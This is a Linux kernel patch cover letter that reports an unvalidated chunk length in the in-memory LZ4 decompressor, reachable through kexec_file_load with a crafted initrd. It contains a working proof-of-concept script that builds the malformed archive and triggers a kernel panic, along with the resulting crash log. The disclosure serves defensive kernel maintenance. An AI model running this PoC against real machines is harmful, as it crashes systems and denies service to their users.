[PATCH 0/1] lib: validate in-memory LZ4 chunk length

From: Zhiling Zou

Date: Sat Sep 12 2026 - 09:42:27 EST


Hi Linux kernel maintainers,

We found and validated an issue in lib/decompress_unlz4.c. The bug is
reachable by a root user through kexec_file_load() with a crafted
external initrd.

We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

When fill is NULL, unlz4() reads a 32-bit chunk length, advances the
input pointer, and subtracts four bytes from the remaining input size.
It then passes the unvalidated chunk length to LZ4_decompress_safe().
A forged length larger than the remaining archive makes the decoder
read past the mapped initrd while parsing the compressed block.

The in-memory path is used while unpacking an external initrd during
boot. The PoC creates a valid LZ4 legacy archive header followed by a
forged chunk length and a small payload, loads it with kexec_file_load(),
and executes the second kernel. The async initramfs unpack then crashes
in LZ4_decompress_safe().

Reproducer:

chmod +x poc.sh
./poc.sh /root/bzImage

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.sh------

#!/bin/sh
set -eu

if [ "$(id -u)" -ne 0 ]; then
echo "run as root" >&2
exit 1
fi

KERNEL_IMAGE="${1:-/root/bzImage}"
BAD_INITRD="${2:-/root/bad_unlz4.lz4}"

if [ ! -r "$KERNEL_IMAGE" ]; then
echo "kernel image not found: $KERNEL_IMAGE" >&2
exit 1
fi

python3 - "$BAD_INITRD" <<'PY'
import struct
import sys

path = sys.argv[1]
magic = 0x184C2102
chunk = 0x07FFF000
payload = b"\xF0" + (b"\xFF" * 4096)

with open(path, "wb") as f:
f.write(struct.pack("<I", magic))
f.write(struct.pack("<I", chunk))
f.write(payload)
PY

CMDLINE='root=/dev/sda rw console=ttyS0 net.ifnames=0 biosdevname=0 panic_on_warn=1 oops=panic panic=-1 slub_debug=FZPU nokaslr slab_nomerge numa=off page_poison=1 init_on_alloc=0 init_on_free=0 quiet loglevel=7 systemd.show_status=false'

/usr/sbin/kexec -u >/dev/null 2>&1 || true
/usr/sbin/kexec -s -l "$KERNEL_IMAGE" --initrd="$BAD_INITRD" --command-line="$CMDLINE"
sync
/usr/sbin/kexec -e

------END poc.sh--------

----BEGIN crash log----

[ 4.234226][ T46] Trying to unpack rootfs image as initramfs...
[ 4.252106][ T46] BUG: unable to handle page fault for address: ffffed1028000000
[ 4.252496][ T46] #PF: supervisor read access in kernel mode
[ 4.252496][ T46] #PF: error_code(0x0000) - not-present page
[ 4.252496][ T46] PGD 13ffec067 P4D 13ffec067 PUD 13ffeb067 PMD 0
[ 4.252496][ T46] Oops: Oops: 0000 [#1] SMP KASAN NOPTI
[ 4.252496][ T46] CPU: 2 UID: 0 PID: 46 Comm: kworker/u16:1 Not tainted 6.12.95 #4 53deed68f5e8c87eac9412ec2ca16e6c37d9fe62
[ 4.252496][ T46] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 4.252496][ T46] Workqueue: async async_run_entry_fn
[ 4.252496][ T46] RIP: 0010:LZ4_decompress_safe+0x4a5/0x14c0
[ 4.252496][ T46] Code: 00 fc ff df 48 89 d8 48 89 df 48 c1 e8 03 83 e7 07 0f b6 34 28 48 8d 43 07 48 89 c2 48 c1 ea 03 40 38 fe 40 0f 9e c7 40 84 f6 <0f> b6 14 2a 40 0f 95 c6 40 84 f7 0f 85 64 0a 00 00 83 e0 07 38 c2
[ 4.252496][ T46] RSP: 0018:ffffc900003279e0 EFLAGS: 00010246
[ 4.252496][ T46] RAX: ffff888140000001 RBX: ffff88813ffffffa RCX: ffff8881400f7019
[ 4.252496][ T46] RDX: 1ffff11028000000 RSI: 0000000000000000 RDI: 0000000000000001
[ 4.252496][ T46] RBP: dffffc0000000000 R08: ffffc90001401000 R09: 0000000000000000
[ 4.252496][ T46] R10: 00000000000000f0 R11: ffff888147ff6008 R12: ffffc9000150000f
[ 4.252496][ T46] R13: ffffc90001c01000 R14: ffff888147ff6008 R15: ffffc90001408ff0
[ 4.252496][ T46] FS: 0000000000000000(0000) GS:ffff88810f400000(0000) knlGS:0000000000000000
[ 4.252496][ T46] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 4.252496][ T46] CR2: ffffed1028000000 CR3: 000000013b534001 CR4: 0000000000770ef0
[ 4.252496][ T46] PKRU: 55555554
[ 4.252496][ T46] Call Trace:
[ 4.252496][ T46] <TASK>
[ 4.252496][ T46] ? unlz4+0x382/0x660
[ 4.252496][ T46] ? srso_alias_return_thunk+0x5/0xfbef5
[ 4.252496][ T46] ? vmalloc_noprof+0xb4/0x100
[ 4.252496][ T46] unlz4+0x23d/0x660
[ 4.252496][ T46] ? __pfx_flush_buffer+0x10/0x10
[ 4.252496][ T46] ? srso_alias_return_thunk+0x5/0xfbef5
[ 4.252496][ T46] unpack_to_rootfs+0x23c/0x730
[ 4.252496][ T46] ? __pfx_error+0x10/0x10
[ 4.252496][ T46] ? __pfx_unpack_to_rootfs+0x10/0x10
[ 4.252496][ T46] ? srso_alias_return_thunk+0x5/0xfbef5
[ 4.252496][ T46] ? __pfx__printk+0x10/0x10
[ 4.252496][ T46] ? srso_alias_return_thunk+0x5/0xfbef5
[ 4.252496][ T46] ? lock_release+0x687/0xc90
[ 4.252496][ T46] ? __pfx_do_populate_rootfs+0x10/0x10
[ 4.252496][ T46] ? do_populate_rootfs+0x34b/0x6c0
[ 4.252496][ T46] ? srso_alias_return_thunk+0x5/0xfbef5
[ 4.252496][ T46] do_populate_rootfs+0x34b/0x6c0
[ 4.252496][ T46] ? ktime_get+0x32/0x150
[ 4.252496][ T46] ? __pfx_do_populate_rootfs+0x10/0x10
[ 4.252496][ T46] ? srso_alias_return_thunk+0x5/0xfbef5
[ 4.252496][ T46] ? trace_hardirqs_on+0x5b/0x110
[ 4.252496][ T46] ? srso_alias_return_thunk+0x5/0xfbef5
[ 4.252496][ T46] ? srso_alias_return_thunk+0x5/0xfbef5
[ 4.252496][ T46] ? srso_alias_return_thunk+0x5/0xfbef5
[ 4.252496][ T46] ? __pfx_do_populate_rootfs+0x10/0x10
[ 4.252496][ T46] async_run_entry_fn+0x9f/0x510
[ 4.252496][ T46] process_one_work+0x80f/0x1680
[ 4.252496][ T46] ? worker_thread+0x275/0x1140
[ 4.252496][ T46] ? __pfx_process_one_work+0x10/0x10
[ 4.252496][ T46] ? lock_acquired+0x374/0xb30
[ 4.252496][ T46] ? lock_is_held_type+0x9a/0x110
[ 4.252496][ T46] ? srso_alias_return_thunk+0x5/0xfbef5
[ 4.252496][ T46] worker_thread+0x618/0x1140
[ 4.252496][ T46] ? __pfx_worker_thread+0x10/0x10
[ 4.252496][ T46] kthread+0x2bd/0x3a0
[ 4.252496][ T46] ? __pfx_kthread+0x10/0x10
[ 4.252496][ T46] ? __pfx_kthread+0x10/0x10
[ 4.252496][ T46] ret_from_fork+0x31/0x70
[ 4.252496][ T46] ? __pfx_kthread+0x10/0x10
[ 4.252496][ T46] ret_from_fork_asm+0x1a/0x30
[ 4.252496][ T46] </TASK>
[ 4.252496][ T46] Modules linked in:
[ 4.252496][ T46] CR2: ffffed1028000000
[ 4.252496][ T46] ---[ end trace 0000000000000000 ]---
[ 4.252496][ T46] RIP: 0010:LZ4_decompress_safe+0x4a5/0x14c0
[ 4.252496][ T46] Code: 00 fc ff df 48 89 d8 48 89 df 48 c1 e8 03 83 e7 07 0f b6 34 28 48 8d 43 07 48 89 c2 48 c1 ea 03 40 38 fe 40 0f 9e c7 40 84 f6 <0f> b6 14 2a 40 0f 95 c6 40 84 f7 0f 85 64 0a 00 00 83 e0 07 38 c2
[ 4.252496][ T46] RSP: 0018:ffffc900003279e0 EFLAGS: 00010246
[ 4.252496][ T46] RAX: ffff888140000001 RBX: ffff88813ffffffa RCX: ffff8881400f7019
[ 4.252496][ T46] RDX: 1ffff11028000000 RSI: 0000000000000000 RDI: 0000000000000001
[ 4.252496][ T46] RBP: dffffc0000000000 R08: ffffc90001401000 R09: 0000000000000000
[ 4.252496][ T46] R10: 00000000000000f0 R11: ffff888147ff6008 R12: ffffc9000150000f
[ 4.252496][ T46] R13: ffffc90001c01000 R14: ffff888147ff6008 R15: ffffc90001408ff0
[ 4.252496][ T46] FS: 0000000000000000(0000) GS:ffff88810f400000(0000) knlGS:0000000000000000
[ 4.252496][ T46] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 4.252496][ T46] CR2: ffffed1028000000 CR3: 000000013b534001 CR4: 0000000000770ef0
[ 4.252496][ T46] PKRU: 55555554
[ 4.252496][ T46] Kernel panic - not syncing: Fatal exception

-----END crash log-----

Best regards,
Zhiling Zou

Zhiling Zou (1):
lib: validate in-memory LZ4 chunk length

lib/decompress_unlz4.c | 4 ++++
1 file changed, 4 insertions(+)

--
2.43.0